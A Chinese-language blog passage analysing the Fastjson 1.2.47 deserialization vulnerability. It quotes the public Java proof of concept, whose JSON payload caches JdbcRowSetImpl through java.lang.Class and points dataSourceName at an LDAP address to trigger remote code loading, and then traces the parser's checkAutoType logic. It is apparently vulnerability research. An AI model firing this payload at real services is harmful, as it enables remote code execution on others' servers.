fastjson string转对象 科学计数法_Fastjson历史漏洞研究（二）

0x00 前言

---

本文衔接上一篇文章《FastJson历史漏洞研究(一)》，继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

0x01 Fastjson 1.2.47漏洞分析

---

Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是，Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行

首先来看一下公开的poc

public class demo {
        public static void main(String[] args) {
            String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +                "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";        Object obj = JSON.parseObject(payload);        System.out.println(obj);    }}

从代码中可见，与以往利用不同的是，该poc中构造了两个json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

为了弄清楚这样构造的意义，我们来动态调试一下这个漏洞

程序首先解析第一个json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析过程

我们跳过部分FastJson解析流程，直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中，程序首先进入了这个分支，程序调用getClassFromMapping对typeName进行解析，typeName即为字符串中@type的值，在第一个json字符串中，这个值为"java.lang.Class"

我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping

从上图代码可见，程序想从mappings中寻找键名为”java.lang.Class”的元素并返回对应的键值。值得一提的是，mappings集合与后文将要讲到的buckets集合对这个漏洞至关重要，这二者是这个漏洞产生的核心因素

• mappings集合

mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示